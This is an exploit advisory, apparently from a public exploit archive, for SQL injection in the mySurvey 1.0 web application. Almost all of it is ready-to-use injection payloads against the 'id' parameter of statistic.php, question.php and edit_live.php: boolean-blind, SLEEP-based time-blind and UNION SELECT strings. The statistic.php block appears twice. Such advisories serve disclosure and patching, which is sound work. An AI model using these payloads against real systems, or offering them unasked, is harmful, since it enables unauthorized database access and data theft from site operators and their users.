mySurvey 1.0 SQL Injection

`# Exploit Title: mySurvey 1.0 - 'statistic.php' SQL Injection  
# Dork: N/A  
# Date: 25.05.2018  
# Exploit Author: Azkan Mustafa AkkuA (AkkuS)  
# Vendor Homepage: https://codecanyon.net/item/mysurvey/6794645  
# Version: 1.0  
# Category: Webapps  
# Tested on: Kali linux  
# Description : You can see the notifications on the left side when you  
receive new answers.  
This url works in 'statistic.php' with 'id' parameter. This 'id' parameter  
is vulnerable.  
====================================================  
  
# PoC : SQLi :  
  
http://test.com/mySurvey/statistic.php?id=[SQLi]  
  
Parameter: id (GET)  
  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload: id=31 AND 5291=5291  
  
Type: AND/OR time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind  
Payload: id=31 AND SLEEP(5)  
  
# /question.php Parameter: id (GET)  
  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload: id=2 AND 2740=2740  
  
Type: AND/OR time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind  
Payload: id=2 AND SLEEP(5)  
  
Type: UNION query  
Title: Generic UNION query (NULL) - 5 columns  
Payload: id=2 UNION ALL SELECT  
NULL,NULL,CONCAT(0x716a787171,0x756d496841646d646a62785a6b7651775a4946456a465142654251536d4b4952646a58564e736166,0x716a627a71),NULL,NULL--  
SggH  
  
  
# /edit_live.php Parameter: id (GET)  
  
Type: boolean-based blind  
Title: MySQL >= 5.0 boolean-based blind - Parameter replace  
Payload: id=(SELECT (CASE WHEN (4199=4199) THEN 4199 ELSE 4199*(SELECT  
4199 FROM INFORMATION_SCHEMA.PLUGINS) END))  
  
Type: UNION query  
Title: Generic UNION query (NULL) - 3 columns  
Payload: id=-6620 UNION ALL SELECT  
CONCAT(0x716a6b6b71,0x706169774d7955627455656966494d4a78775a6d6e63504f7342426d5266497556767a57636e636e,0x7170786a71),NULL,NULL--  
tDPV  
  
  
  
# /statistic.php Parameter: id (GET)  
  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload: id=31 AND 5291=5291  
  
Type: AND/OR time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind  
Payload: id=31 AND SLEEP(5)  
  
  
====================================================  
  
`